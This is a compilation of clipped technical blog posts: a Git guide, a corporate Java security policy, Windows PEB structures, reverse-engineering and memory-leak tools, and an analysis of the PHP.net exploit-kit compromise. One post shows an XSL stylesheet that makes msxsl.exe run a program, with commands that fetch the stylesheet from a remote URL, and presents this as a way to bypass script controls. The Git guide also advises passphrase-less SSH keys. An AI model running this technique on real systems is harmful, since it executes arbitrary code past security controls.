data used. The easiest way to do this would probably be to record the fuzz
buffer on every syscall and then use the signal handler`event_signal` to write
out the buffer to a file after a crash. Another consideration is that we
really only want to fuzz certain read syscalls because only some file
descriptors will be under our control and thus exploitable. To do this we
would need a map of file desciptors to file names. This is relatively simple
as we can also instrument the open/close syscalls and build our map that way.

# Git/Github survival guide | Ivan Porto Carrero
**Created:**| _11/27/2011 11:04:55 PM_  
---|---  
**Updated:**| _11/27/2011 11:04:55 PM_  
**Author:**| __  
**Tags:**| _Git_  
  

## Git/Github survival guide

Posted by Ivan Porto Carrero on March 21, 2009  Leave a comment \(6\) Go to
comments

Lately I’ve been helping a few people to get started on Github. I use git at
the command line and my survival guide is also based on that way of
interacting with Git. So I thought I’d write the procedure up so that I can
just point people to this page.

The first tip I can give you and most of what I’ll be talking about is in the
guides from github. When you’re used to Subversion or Team Foundation Server
for example you’ll need to make a mental leap. That leap would be to realise
that your local copy _is_ the master copy for you. The remote server like
github.com is one is a little bit like an afterthought. I think it goes a
little bit like this: “O cool I’ve built this really cool thing here and I’ve
got it in this git repository on my machine. It would be cool if other people
also had access. Wait a minute, I’ll just add a remote and push my stuff onto
that server.” Problem solved.

Most of this guide applies to both windows and \*nix systems except for the
next part because that will describe the install parameters for getting
msysgit to behave nicely on your system.

==== Windows only ====

If you’re on windows I suggest you use msysgit as your git client. You can
probably use everything I’m about to explain from explorer too if you want to
use tortoisegit or just prefer gui’s. I, personally, like having options so
I’ll probably use a mix of those in the future. Ok onto the install procedure.

Somewhere half-way through the install of msysgit it will ask you how far you
want to integrate it. The correct choice is the middle one: Run Git from the
Windows Command Prompt. For generating ssh keys etc you probably want to use
OpenSSH.

==== Windows only end ====

When the install of msysgit is completed it is time to start configuring your
git install for usage with github. The first step you need to take is to tell
git your username and email address. You will also need your API token that
you can find on your account page.

[code]

    [~]$ git config --global user.name "Ivan Porto Carrero"
    [~]$ git config --global user.email ivan@nowhere.com
    [~]$ git config --global github.user casualjim
    [~]$ git config --global github.token [[API TOKEN]]
[/code]

This information can be found in the github guides:
http://github.com/guides/tell-git-your-user-name-and-email-address. The
configuration above is global but you can still override that on a per project
basis.

Now that git knows how to deal with github it is time to formally introduce
your machine to the github server. To do so you might have to create an ssh
key private/public keypair. A tip I can give you before you start the creation
is that you probably don’t want to type a password everytime you push to
github. So when you create your ssh key don’t use a passphrase \(leave it
blank when asked for one\).

The procedure on how to create the ssh keys can againn be found in the github
guides: http://github.com/guides/providing-your-ssh-key. On windows I would
suggest that you use the openssh one. I use RSA keys but you can choose
whichever flavor you want of course <img src='img/Temp2_3492.gif' alt=':)' />
After generating the ssh keys you need to provide them to github in your
account page.

This should get you up and running with github. I’m assuming most people
coming to github are familiar with subversion so I’ll try to map some common
operations to the command sequence you need in git.

First things first I have a couple of aliases defined for some common
operations.  
  
You can just copy paste the aiases section below in the .gitconfig file that
you can find in the root of your personal folder. C:\users\ivan\\.gitconfig on
vista for me and ~/.gitconfig in bash.

[code]

    [alias]
        ci = commit
        st = status
        co = checkout
[/code]

If all you need is read-only access to a repository you can just clone a
repository by its public clone url ie. git clone
git://github.com/casualjim/ironrubymvc.git

The first operation you’ll need is how to get source code, make changes and
send in a patch. In git lingo this is called forking.

On github you fork the project you want to make changes too. Then you clone
that project on your local machine and make your changes. You then push your
changes back to your repository and send a pull request to the original
project. That is all you need to do to send in a patch, issue a pull request.

I forked ironrubymvc from Jimmy Schementi and send him pull requests regularly
when I’ve completed a chunk of work on it. so here’s the sequence of commands
I use to do this.

_**git clone**_ _**git@github.com:casualjim/ironrubymvc.git**_

… make some changes …

To start updating the repository with my changes I’ll generally first ask for
a status to see if I need to add some files to ignore and if there are new
files that need te be included

_**git st**_

If there are files that need to be ignored I’ll add them to the .gitignore
file in my project root. If there are still some new files that need to be
added:

**_git add ._**

Then I’m ready to commit the changes to my local repository:

_**git ci –a –m “Made ironrubymvc do the dishes and ironing”**_

Now it’s time to push my changes to the github server.

_**git push**_

And now I need to go to the github website and send a pull request to Jimmy.
He can then decide if he wants to apply the patch or make some changes.

The next step is to keep your fork in sync with the forked repository, so that
you can continue to pick up their changes and ensure that your changes still
work.

_**git remote add upstream git://github.com/jschementi/ironrubymvc.git**_

to automatically fetch and then merge the changes from the upstream repository
you can pull from it. You have to tell pull the remote source it has to pull
from and the target branch.

**_git pull upstream master_**

A more detailed explanation of this process can be found in the github guides.
http://github.com/guides/fork-a-project-and-submit-your-modifications

The next thing we’re going to map is svn:externals. In git this is called
submodules. They have a great explanation off that in the github guides
http://github.com/guides/developing-with-submodules

Suppose you made some changes and they aren’t really what you want and you
want to restore the repository to the last commit.

**_git reset –hard_**

The last topic is branching and merging changes etc. As an example I will take
the IronRuby project for which Michael Letterle and myself maintain the linux
branch. This branch ensures that IronRuby gets the fixes it needs to compile
on mono. A typical workflow for me when I sync it with the source repository @
git://github.com/ironruby/ironruby.git from the ironruby project root on my
local machine.

Previously I did:

_**git clone git@github.com:mletterle/ironruby.git**_

_**git remote add ironruby git://github.com/ironruby/ironruby.git**_

And to create and track the remote linux branch I issued the following
commands:

**_git co –-track –b linux origin/linux_**

**_git pull_**

This has now got my local copy set up with a linux branch and has pulled in
the contents of the remote branch to my local repository.

When there are changes in the source repository I issue the following
commands:

**_git co master_** // Check out the master branch

**_git pull ironruby master_** // Pull in changes from remote

**_git co linux_** // Check out the linux branch

**_git merge master_** // Merge in the changes from the master branch

**_mate ._** // Open textmate to resolve conflicts

**_git add ._** // Add the files with the resolved conflicts back to the
repository

**_git ci –a –m “Synced with upstream”_** // submit changes

**_git push_** // update the github server

The information above can be found in the github guides as well but in several
places:

http://github.com/guides/git-cheat-sheet

http://github.com/guides/showing-and-tracking-remote-branches

http://github.com/guides/push-a-branch-to-github

http://github.com/guides/keeping-a-git-fork-in-sync-with-the-forked-repo

http://beans.seartipy.com/2008/12/09/setting-up-ruby-on-rails-projects-with-
git-and-github/

Those are the commands I use about 95% of the time when I’m working with git.
I thought they might be useful to other people hence the share.

If you combine the above with my previous post on how to git-enable your
command-line http://flanders.co.nz/2009/03/19/pimp-your-command-line-for-git/
. I guess you’ve got a pretty sweet setup.

**There is one gotcha that I’d like to repeat one more time. When you’re
branching you have to close the solution in visual studio or all kinds of
nastiness will ensue. Visual studio will lock some files and if git wants to
remove them it can’t. This results in a branch that is probably messed up.**

# Mount Knowledge » Creating a corporate Java security policy

**Created:**| _1/5/2011 1:04:09 PM_  
---|---  
**Updated:**| _1/5/2011 1:04:33 PM_  
**Author:**| __  
**Tags:**| _setup security Java programming_  
  

## Creating a corporate Java security policy

On January 23rd, 1996 something magical happened. Sun Microsystems released
the Java Development Toolkit 1.0. From that moment on the 3 year old World
Wide Web became more interactive. Browsers such as Mosaic and Netscape were
able to show small applications inline which ran code on the client computer,
allowing for instant feedback. At the risk of showing my age, I remember those
early days of Java and I was quite impressed. Sun realized from the start that
running code client side delivered over the web had severe security
implications. The code was executed inside a sandbox with limited rights to
access sensitive resources such as local disk drives and network sockets. Java
code running stand alone, not using a webbrowser did not have these
limitations. The sandbox model was secure \(if you forget about the bugs in
the implementation\), but also very limiting for developers. JDK 1.1 released
in 1997 introduced a security model where an applet could ask for certain
permissions. If the end user granted them, the code would execute, otherwise
an exception would be thrown. The applet had to be signed with an X.509
certificate in order to provide the identity to be shown to the user. An
example of an applet asking for local drive access is show below.

<img src='img/Temp2_5498.jpg' width='492' height='352' />

Note that this pop-up is very informative. It says that granting this
privilege is a **high risk** \(in bold\). The applet could read, modify or
even delete any of your files. Similar texts were shown for network access,
etc. This is how I remember the Java applet sandbox security model. Applets
can’t do much harm, if they would want to you will be shown a pop-up which
will tell you what the risks are. Neat, clean, safe.

In 1998 Sun decided that this security model was too complex. With the release
of JDK 1.2 \(now renamed Java 2 Platform, Standard Edition or J2SE\) the
security model became more fine grained with the use of a security policy.
This policy can be set to allow or disallow certain URLs, signers, etc
specific privileges. This sounds great, but the default security policy that
is shipped with Java/JDK/JRE ever since basically is a big on/off switch. If
an applet needs additional privileges outside the sandbox, a single uniform
pop-up is shown. No mention of high risk, or which privileges can be used by
the applet. If the applet is signed by a Certificate Authority that your
browser or OS trusts, it looks something like this:

<img src='img/Temp2_5499.jpg' width='490' height='311' />

if it was signed with a Certificate Authority that is not trusted it looks
something like this:

<img src='img/Temp2_5497.jpg' width='516' height='322' />

In general I think end users always will make bad security decisions when it
comes to browsing the web. However, the old style pop-ups would probably stop
a lot more users from running suspicious applets. Think about it. Being able
to operate outside of the Java sandbox gives applets full control over your
computer. It can drop a malicious dll or exe on your hard drive, it can modify
your registry to run it every time you log in, etc. And all you get as a
warning is a lousy pop-up like the one above. Even ActiveX does that better
these days. Of course I’m not the first to notice this. Many people have
before. In 2002 a Mozilla bug report was opened requesting to change the
misleading wording in the security warning, but no one has picked this up.

I think it is clear that the default Java security policy does not suffice
today. End users cannot be expected to make the right decisions when pop-ups
are shown. They certainly cannot be expected to write and maintain their own
Java security policy. For home users, deinstalling Java is the best option
right now. The chance you really need it to enjoy the web is quite low. If you
do, at least take the precautions mentioned here. For corporate users, this
problem is entirely different. Many organizations rely on software that use
signed Java applets such as Oracle Forms. It is scary to think how many
corporate desktops have Java installed and enabled in their browsers. Go
ahead, try this signed applet example. Do you get a pop-up? Are you given a
choice to run the applet? If so, your corporation is suspect to intruders,
spamming your users with links to sites that show such a pop-up and use the
Java applet to install malware. The Koobface worm is just one such example.

Fortunately there is something you can do about this: write your own java
security policy. I’ll give a very short tutorial below, but I recommend
reading the official Oracle documentation and this excellent site.

In the default _java.home_ /lib/security/java.security file two Java policies
are loaded:

> policy.url.1=file:$\{java.home\}/lib/security/java.policy  
>  policy.url.2=file:$\{user.home\}/.java.policy
You might want to remove the policy.url.2 to avoid users from changing your
corporate Java policy. The default _java.home_ /lib/security/java.policy is
set up to restrict applets within the sandbox and ask the user what to do with
signed applets. First, we need to turn off those pop-ups. You can do this by
editing the _java.home_ /lib/security/java.policy file or adding an additional
one using policy.url.2 or policy.url.3 in the _java.home_
/lib/security/java.security file. I recommend using a new file and placing it
on a central file server. Add these lines:

> grant \{  
>  permission java.lang.RuntimePermission “usePolicy”;  
>  \};
This tells the JVM to ignore the RSA signatures on all applets, and always and
only use the Java policy defined by the policy URLs. Next, add any URLs with
trusted applets that require access outside of the JVM sandbox. This acts like
a whitelist:

> grant codeBase “http://my.internal.site.local/-” \{  
>  java.security.AllPermission;  
>  \};
> grant codeBase “http://another.site.local/-” \{  
>  java.security.AllPermission;  
>  \};
In the above the dash – is a recursive wildcard. Of course you can be much
more granular instead of using java.security.AllPermission. The AllPermission
property gives the same privileges a signed applet would get when the “Run”
button was clicked on the pop-up.

Effectively you have now removed the choice of breaking out of the Java
sandbox from the end user and defined it in a corporate java policy instead.
This really is needed in any corporate environment with a JVM installed on the
desktop. The default Java security policy is just a major security incident
waiting to happen. In fact, abusing java applets is a well known technique in
penetration testing. If the whitehats are catching on, you can count on the
blackhats doing far worse.

# Evolution of Process Environment Block \(PEB\)

**Created:**| _7/15/2015 1:43:28 PM_  
---|---  
**Updated:**| _7/15/2015 1:43:28 PM_  
**Author:**| __  
**Tags:**| _pecoff_  
  

Over one year ago I’ve published unified definition of **PEB** for **x86** and
**x64** _Windows_ \(PEB32 and PEB64 in one definition\). It was based on
**PEB** taken from _Windows 7_ **NTDLL** symbols, but I was pretty confident
that it should work on other versions of _Windows_ as well. Recently someone
left a comment under mentioned post: _“Good, but its only for Windows 7″_. It
made me curious if it is really _‘only for Win7′_. I was expecting that there
might be some small differences between some field names, or maybe some new
fields added at the end, but the overall structure should be the same. I’ve no
other choice but to check it myself. I’ve collected **108 different
ntdll.pdb/wntdll.pdb** files from various versions of _Windows_ and dumped
**\_PEB** structure from them \(Dia2Dump ftw\!\). Here are some statistics:

  * **\_PEB** was defined in **80** different **PDB** s \(_53 x86 PEBs_ and _27 x64 PEBs_\)
  * There was **11 unique PEBs for x86** , and **8 unique PEBs for x64** \(those numbers doesn’t sum up, as starting from _Windows 2003 SP1_ there is always match between **x86** and **x64** version\)
  * The total number of collected different **\_PEB** definitions is equal to **11**

I’ve put all the collected informations into nice table \(click the picture to
open **PDF**\):

<img src='img/Temp2_2803.png' width='483' height='617' alt='PEB Evolution' />

PEB Evolution PDF

Left column of the table represents **x86** offset, right column is **x64**
offset, green fields are supposed to be compatible across all windows versions
starting from _XP_ without any SP and ending at _Windows 8 RTM_ , red \(pink?,
rose?\) fields should be used only after careful verification if they’re
working on a target system. At the top of the table, there is row called
**NTDLL TimeStamp** , it is not the timestamp from the **PE** header but from
the **Debug Directory** \(_IMAGE\_DIRECTORY\_ENTRY\_DEBUG_ , **LordPE** can
parse this structure\). I’m using this timestamp as an unique identifier for
**NTDLL** version, this timestamp is also stored in **PDB** files.

Now I can answer initial question: _“Is my previous PEB32/PEB64 definition
wrong ?”_ Yes and No. Yes, because it contains various fields specific for
_Windows 7_ thus it can be considered as wrong. No, because most of the fields
are exactly the same across all Windows versions, especially those fields that
are usually used in third party software. To satisfy everyone, I’ve prepared
another version of **PEB32** /**PEB64** definition:

[code]

    #pragma pack(push)
    #pragma pack(1)
    template <class T>
    struct LIST_ENTRY_T
    {
    	T Flink;
    	T Blink;
    };
     
    template <class T>
    struct UNICODE_STRING_T
    {
    	union
    	{
    		struct
    		{
    			WORD Length;
    			WORD MaximumLength;
    		};
    		T dummy;
    	};
    	T _Buffer;
    };
     
    template <class T, class NGF, int A>
    struct _PEB_T
    {
    	union
    	{
    		struct
    		{
    			BYTE InheritedAddressSpace;
    			BYTE ReadImageFileExecOptions;
    			BYTE BeingDebugged;
    			BYTE _SYSTEM_DEPENDENT_01;
    		};
    		T dummy01;
    	};
    	T Mutant;
    	T ImageBaseAddress;
    	T Ldr;
    	T ProcessParameters;
    	T SubSystemData;
    	T ProcessHeap;
    	T FastPebLock;
    	T _SYSTEM_DEPENDENT_02;
    	T _SYSTEM_DEPENDENT_03;
    	T _SYSTEM_DEPENDENT_04;
    	union
    	{
    		T KernelCallbackTable;
    		T UserSharedInfoPtr;
    	};
    	DWORD SystemReserved;
    	DWORD _SYSTEM_DEPENDENT_05;
    	T _SYSTEM_DEPENDENT_06;
    	T TlsExpansionCounter;
    	T TlsBitmap;
    	DWORD TlsBitmapBits[2];
    	T ReadOnlySharedMemoryBase;
    	T _SYSTEM_DEPENDENT_07;
    	T ReadOnlyStaticServerData;
    	T AnsiCodePageData;
    	T OemCodePageData;
    	T UnicodeCaseTableData;
    	DWORD NumberOfProcessors;
    	union
    	{
    		DWORD NtGlobalFlag;
    		NGF dummy02;
    	};
    	LARGE_INTEGER CriticalSectionTimeout;
    	T HeapSegmentReserve;
    	T HeapSegmentCommit;
    	T HeapDeCommitTotalFreeThreshold;
    	T HeapDeCommitFreeBlockThreshold;
    	DWORD NumberOfHeaps;
    	DWORD MaximumNumberOfHeaps;
    	T ProcessHeaps;
    	T GdiSharedHandleTable;
    	T ProcessStarterHelper;
    	T GdiDCAttributeList;
    	T LoaderLock;
    	DWORD OSMajorVersion;
    	DWORD OSMinorVersion;
    	WORD OSBuildNumber;
    	WORD OSCSDVersion;
    	DWORD OSPlatformId;
    	DWORD ImageSubsystem;
    	DWORD ImageSubsystemMajorVersion;
    	T ImageSubsystemMinorVersion;
    	union
    	{
    		T ImageProcessAffinityMask;
    		T ActiveProcessAffinityMask;
    	};
    	T GdiHandleBuffer[A];
    	T PostProcessInitRoutine;
    	T TlsExpansionBitmap;
    	DWORD TlsExpansionBitmapBits[32];
    	T SessionId;
    	ULARGE_INTEGER AppCompatFlags;
    	ULARGE_INTEGER AppCompatFlagsUser;
    	T pShimData;
    	T AppCompatInfo;
    	UNICODE_STRING_T<T> CSDVersion;
    	T ActivationContextData;
    	T ProcessAssemblyStorageMap;
    	T SystemDefaultActivationContextData;
    	T SystemAssemblyStorageMap;
    	T MinimumStackCommit;
    };
     
    typedef _PEB_T<DWORD, DWORD64, 34> PEB32;
    typedef _PEB_T<DWORD64, DWORD, 30> PEB64;
    #pragma pack(pop)
[/code]  
---  
Above version is system independent as all fields that are changing across OS
versions are marked as **\_SYSTEM\_DEPENDENT\_xx**. I’ve also removed all
fields from the end that were added after _Widnows XP_.

# TitanEngine — PenTestIT

**Created:**| _8/18/2009 8:29:35 AM_  
---|---  
**Updated:**| _8/18/2009 8:29:52 AM_  
**Author:**| __  
**Tags:**| _security tools Malware-analysis_  
  

# TitanEngine:The Swiss army knife for Reverse Engineers

by BLACK on AUGUST 4, 2009

in MALWARE ANALYSIS, OPEN SOURCE, REVERSE ENGINEERING, WINDOWS

TitanEngine

With time, malware authors are becoming cleverer and are successfully finding
ways of evading security software. The only thing standing between a ’clean’
machine and malware is a reverse engineer/malware analyser. As malwares get
equiped with newer techniques, it is becoming imperative for reverse engineers
to test for malwares in the time made available to them. Tools
like**TitanEngine **will surely help us in our malware analysis & reverse
engineering endeavours\! It is one of the tools that we have been waiting for
download since the time it was announced at theBlackHat 09\!

TitanEngine is a an OPEN SOURCE framework from the  _Reversing Labs _that can
be used to perform over 250 functions\! Best of all, you can have all of that
automated. It can also be used to make new tools that work with PE files\!
Both – 32 bit & 64 bit formats are supported\! It can be used to create all
known types of unpackers. It’s features are:

  * SDK has 250 documented functions
  * Easy automation of all reversing tools
  * Supports both x86 and x64
  * Can create: Static, Dynamic & Generic unpackers
  * Tested on over 150 unpackers
  * Its free and open source–LGPL3\!
  * Integrated x86/x64 debugger
  * Integrated x86/x64 disassembler
  * Integrated memory dumper
  * Integrated import tracer & fixer
  * Integrated relocation fixer
  * Integrated file realigner
  * Functions to work with TLS, Resources, Exports,…

Normally, you would unpack the file in this process – debug until entry point,
then dump memory to disk, then collect data for import fixing, then collect
data for relocation fixing and the apply any custom fixes like Code splices,
Entry point relocation etc. TitanEngine will do all of that, automatically\!

With the integrated x86/x64 Debugger, you can Attach/Detach a process, Trace
\(including single stepping\) a process, set several types of breakpoints like
Software \(INT3\), Hardware, Memory, Flexible, API for a process & access
debugged file’s context\! You can then perform a full disassemble or perform
memory manipulation, find, replace, patch, fill, get call/jump destination,
check if the jump will execute or not, thread module for thread manipulation\!

With the integrated Memory Dumper you can, dump memory or process or regions
or modules, paste PE header from disk to memory, manipulate file sections,
extract or resort or add or delete or resize and manipulate file overlay,
convert addresses from relative to physical and vice-versa, get section number
from address or PE header data or get and set PE header values\!

There are a lot many functions that you can find in the TitanEngine\! We have
left the remaining parts for you to research upon by downloading TitanEngine
**here****. **Since we know that you would love to learn more about this tool,
you can read more about it from the author slides – **here** & **here**\!  

#### Related External Links

  * **Reverse Engineering** – Kevin Chiu

  * 

ShareThis

### Related Posts

  * August 6, 2009 -- PaiMei: The Reverse Engineering Framework
  * August 1, 2009 -- Black Hat 2009 July 25-30 archive details
  * July 3, 2009 -- Sysinternals Suite
  * June 29, 2009 -- IOCTL Fuzzer – searching vulnerabilities in Windows

  *[AUGUST 4, 2009]: 2009-08-04

# LeakShell or how to \(almost\) automatically find managed leaks | Code & Debug
**Created:**| _9/18/2011 7:24:27 AM_  
---|---  
**Updated:**| _9/18/2011 7:24:27 AM_  
**Author:**| __  
**Tags:**| _windows analysis Memory corruptions_  
  

# LeakShell or how to \(almost\) automatically find managed leaks

Posted on May 18, 2011 by Christophe Nasarre

I’m assuming that the notion of memory leak in .NET is clear but if it is not,
you should read Identify And Prevent Memory Leaks In Managed Code by James
Kovacs and the recap of GC behaviors by Jeffrey Richter in Part 1 and Part2.

When a memory leak has been identified through TaskManager, PerfMon,
ProcessExplorer, System.Diagnostics.Process.PrivateMemorySize64 or
System.OutOfMemoryException, it is time to find out what instances are still
referenced while they should not and by which object\(s\).

This post focuses on the first part of the investigation : what instances are
stuck in gen2 part of the managed memory.

I’ve used one of the leaks examples given in Finding Memory Leaks in WPF-based
applications to write an application where objects are still referenced even
one might think they are not.

<img src='img/Temp2_4867.png' width='512' height='193' />  
As you might guess, when a StickyEventsWindow gets closed, it stays in memory
due to incorrect event registration.

Rico Mariani provides a simple and efficient way of Tracking down managed
memory leaks \(how to find a GC leak\). The idea is to use sos.dll and a
debugger to list the objects managed by the GC.

When you investigate a memory leak, you are either lucky enough to reproduce
it in your developpement environment or on production machines far far away.
In the former case, you can attach your debugger to the application. In the
latter case, you’ll ask the administrator to capture dumps of the application.
For more details about the 666 ways to take a minidump, take a look at How to
Capture a Minidump: Let Me Count the Ways by John Robbins.

In both cases, you end up using sos commands. Let’s follow the usual steps:

  1. Load the sos.dll extension`.loadby sos mscorwks (for .NET 2/3.0/3.5)`.loadby sos clr \(otherwise\)
  2. List the objects in generations, sorted by size`!dumpheap -stat`total 0 objects 
Statistics:

MT Count TotalSize Class Name

6cc45b70 1 12
System.Collections.Generic.ObjectEqualityComparer\`1\[\[System.Type,
mscorlib\]\]

6cc44d7c 1 12 System.Security.Permissions.ReflectionPermission

6cc44c98 1 12 System.Security.Permissions.FileDialogPermissiont

…

6cc38140 699 53124 System.Threading.ExecutionContext+ExecutionContextRunData

005ca200 155 58744 Free

6cbf6de0 792 123740 System.Object\[\]

6cc3fb64 3242 129056 System.String

Total 25368 objects

At that point, we have the state of the application in term of allocated
objects. We need to wait for more objects to be created an take another
\!dumpheap -stat snapshot but with leaked objects.

The painful process is to compare the two snapshots. Here is one solution:

  1. copy and paste special one list into Excel to project the MT, Count TotalSize and Class Name into columns
  2. sort the columns by MTNote that it is possible to have instances of the same ClassName for two reasons: same type in different AppDomain and differents types from different assemblies. Only the Method Table address is the key to distinguish CLR types.
  3. save into a .txt file
  4. windiff two files to see the differences

However, the differences might end up with a lot of noise:

  1. not interested in count reduction
  2. often not interested in types from the BCL but by our own type only

I decided to build a tool to compute these steps for me and voila: LeakShell
was born. It automatically intercepts the copy to clipboard in text format
that contains “\!dumpheap -stat”, sort it by MT and add it into a collection
of snapshops that you can compare one against the other.

<img src='img/Temp2_4866.png' width='640' height='410' />

Once you’ve identified the types of the objects with a count that keeps on
increasing, it is time to take a look at your code. Well… you can also keep on
investigating with sos.gcroot but it is a nightmare even if you use John
Robbins trick to jump from address to address with a mouse click.

Another more graphical solution is to use CLRProfiler. But… how to bridge
between the debugger and CLR Profiler? Use sos.traverseheap Luke\! as
explained by the integrated help:

`!help traverseheap`

——————————————————————————-

\!TraverseHeap \[-xml\]

\!TraverseHeap writes out a file in a format understood by the CLR Profiler.

You can download the CLR Profiler from this link:

http://www.microsoft.com/downloads/details.aspx?FamilyId=86CE6052-D7F4-4AEB-B7A-94635BEEBDDA&displaylang=en

It creates a graphical display of the GC heap to help you analyze the state of

your application. If you pass the “-xml” flag, the file is instead written out

in an easy-to-understand xml format:

…

You can break into your process, load SOS, take a snapshot of your heap with

this function, then continue.

Read NET Best Practice No: 1:- Detecting High Memory consuming functions in
.NET code by Shivprasad koirala for more details about how to use the CLR
Profiler.

Please feel free to post your comments about how to improve LeakShell.

I can’t promise that I’ll implement everything but… who knows?:^\)

Download LeakShell

Other References:

  * How to detect and avoid memory and resources leaks in .NET applications in english and french : very complete articles with tools and samples \(even covering the case of GDI leaks I’ve discussed a long time ago in MSDN Magazine :^\)
  * Inspect and Optimize Your Program’s Memory Usage with the .NET Profiler API by Jay Hilyard.
  * Best Practices No 5: – Detecting .NET application memory leaks.
  * Investigating Memory Issues by Claudio Caldato and Maoni Stephens.
  * Memory Leak Detection in .NET shows how, thanks to sos.dll commands, to detect leaks but also how track down what objects are keeping a reference to another object.
  * Last but not least on MSDN.

CLR Profiler download links:

  * .NET 1.1
  * .NET 2/3.0/3.5
  * .NET 4.0

# msxsl.exe Working As Designed.

**Created:**| _9/4/2017 9:21:42 AM_  
---|---  
**Updated:**| _9/4/2017 9:21:42 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  msxsl.exe Working As Designed.

So, I recently was exploring XSL, and injection and came across several
interesting references.  
  
<msxsl:script> Element  
  
XSLT Script Block Sample  
  
The basic gist, and what I think is interesting is that you can host/execute
scripts inside trusted signed binaries that ingest XML.  
  
So, here is an example, a tool called msxsl.exe.  
  
You can download it here:  
  
  

1 | <?xml version="1.0"?>  
---|---  
2 | <?xml-stylesheet type="text/xsl" href="script.xsl" ?>  
3 | <customers>  
4 |  <customer>  
5 |  <name>John Smith</name>  
6 |  <address>123 Elm St.</address>  
7 |  <phone>\(123\) 456-7890</phone>  
8 |  </customer>  
9 |  <customer>  
10 |  <name>Mary Jones</name>  
11 |  <address>456 Oak Ave.</address>  
12 |  <phone>\(156\) 789-0123</phone>  
13 |  </customer>  
14 | </customers>  
view raw customers.xml hosted with ❤ by GitHub

1 | <?xml version='1.0'?>  
---|---  
2 | <xsl:stylesheet version="1.0"  
3 |  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"  
4 |  xmlns:msxsl="urn:schemas-microsoft-com:xslt"  
5 |  xmlns:user="http://mycompany.com/mynamespace">  
6 |   
7 | <msxsl:script language="JScript" implements-prefix="user">  
8 |  function xml\(nodelist\) \{  
9 |  var r = new ActiveXObject\("WScript.Shell"\).Run\("calc.exe"\);  
10 |  return nodelist.nextNode\(\).xml;  
11 |   
12 |  \}  
13 | </msxsl:script>  
14 | <xsl:template match="/">  
15 |  <xsl:value-of select="user:xml\(.\)"/>  
16 | </xsl:template>  
17 | </xsl:stylesheet>  
view raw script.xsl hosted with ❤ by GitHub

[code]

    1. start /b msxsl.exe customers.xml report.xsl
    2. start /b msxsl.exe http://example.com/customers.xml report.xsl
    3. start /b msxsl.exe customers.xml http://example.com/report.xsl
[/code]

  
The sample code above just show a very basic example. If you look at the
parameters accepted, either the xml or xsl file can be a url.  
  
So, msxsl.exe while not default, may exist in your fleet, and it packs a
powerful punch. It is a trusted binary that can be used to bypass some script
controls.  
  
Here again, you have a tool, that is working as designed, yet gives has
functionality that can easily circumvent many controls.  
  
By that I mean, execution events are likely not being noticed.... And it
allows you to load and execute vbs/js and more...  
  
I recently updated a sample you can use for testing. So, I using the amazing
DotNetToJscript, all you need is to update the base64 shell code here and you
can execute in the context of msxsl.exe. Keep in mind its a 32 bit
application.  
  
MSXSL Test Cases  
  
You could easily base64 encode and deliver this script host runner too. Its
small but packs a big punch ;-\)  
  
Cheers,  
  
  
  
  

<img src='img/Screen+Shot+2017-08-09+at+8.58.07+PM.png' width='200'
height='193' />

  
  
  
Thats all. Short and simple.  
  
Cheers.  
  
Casey Smith  
@subTee  
  

Posted by  Casey Smith at 10:30 AM

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

  

  *[10:30 AM]: 2017-08-25T10:30:00-07:00

# PDF - gsec.hitb.org

**Created:**| _9/4/2017 9:22:58 AM_  
---|---  
**Updated:**| _9/4/2017 9:22:58 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  
<img src='img/D2 - Qiang Li and ZhiBin Hu - QEMU Attack Surface and Security
Internals.pdf' />  

# Analysis of the PHP.net Compromise | Malware Reports | Stop Malvertising
**Created:**| _10/28/2013 10:07:46 AM_  
---|---  
**Updated:**| _10/28/2013 10:07:46 AM_  
**Author:**| __  
**Tags:**| _post-exploitation Malware-analysis php_  
  

Analysis of the PHP.net Compromise  
---  
Written by Kimberly  on Monday, 28 October 2013.  Posted in  Malware Reports
Viewed 226 times  
---  
<img src='img/Temp2_631.png' alt='stopmalvertising.com' /> On Thursday 24th
October 2013 PHP.net was flagged by Google SafeBrowsing as being malicious.
PHP.net released a first statement, followed by an update. Barracuda Labs
released a pcap on the attack. An analysis of their their network capture
reveals that visitors of PHP.net were redirected to the **Magnitude Exploit
Kit**. Ransomware and ZeroAccess are part of the payload which is composed of
5 binaries. I suspect the author of the Magnitude Exploit Kit gets paid per
install ...

##### userprefs.js

The entry point of the infection was injected in **userprefs.js** as seen
below. Obfuscated JavaScript code was appended to the original file, masking a
redirect to **url.whichusb.co.uk**. <img src='img/Temp2_643.png' alt='Analysis
of the PHP.net compromise - Magnitude EK' /> <img src='img/Temp2_642.png'
alt='Analysis of the PHP.net compromise - Magnitude EK' />

##### stat.htm

The file **stat.htm** contains JavaScript calling the **PluginDetect Library**
\(version 0.7.5\) by Eric Gerds to detect The _OS_ , _Java_ , _Adobe Reader_
and the _Screen width_. <img src='img/Temp2_635.png' alt='Analysis of the
PHP.net compromise - Magnitude EK' /> Once the detection done, the information
is reported back to the server and the victim is redirected to
**aes.whichdigitalphoto.co.uk/nid?1**. <img src='img/Temp2_639.png'
alt='Analysis of the PHP.net compromise - Magnitude EK' />

##### Magnitude EK

That page contains a redirect to
**zivvgmyrwy.3razbave.info/?695e6cca27beb62ddb0a8ea707e4ffb8=43** , home of
the **Magnitude EK** landing page. <img src='img/Temp2_628.png' alt='Analysis
of the PHP.net compromise - Magnitude EK' /> The highlighted code will trigger
the next step: CVE-2013-2551 / MS13-037 <img src='img/Temp2_629.png'
alt='Analysis of the PHP.net compromise - Magnitude EK' /> <img
src='img/Temp2_634.png' alt='Analysis of the PHP.net compromise - Magnitude
EK' /> Below is a screenshot illustrating the network flow. <img
src='img/Temp2_637.png' alt='Analysis of the PHP.net compromise - Magnitude
EK' /> The author of the Magnitude EK decided to incorporate 6 payloads, 5
payloads were downloaded successfully.  

#### Payload and VirusTotal Results

<img src='img/Temp2_641.png' alt='stopmalvertising.com' />
dc0dbf82e756fe110c5fbdd771fe67f5.exe| Additional information  
---  
**SHA256:** 5d651f449d12e6bc75a0c875b4dae19d8b3ec8b3933b6c744942b5763d5df08d  
**SHA1:** 8e09174d2dfae16c729b1f64b6344cc6b230a981  
**MD5:** dc0dbf82e756fe110c5fbdd771fe67f5  
**File size:** 87.0 KB \( 89088 bytes \)  
**File type:** Win32 EXE  
**Detection ratio:** 17 / 47  
**Analysis date:** 2013-10-26 03:57:43 UTC  
Antivirus| Result| Update  
---|---|---  
Agnitum|  | 20131025  
AhnLab-V3|  | 20131025  
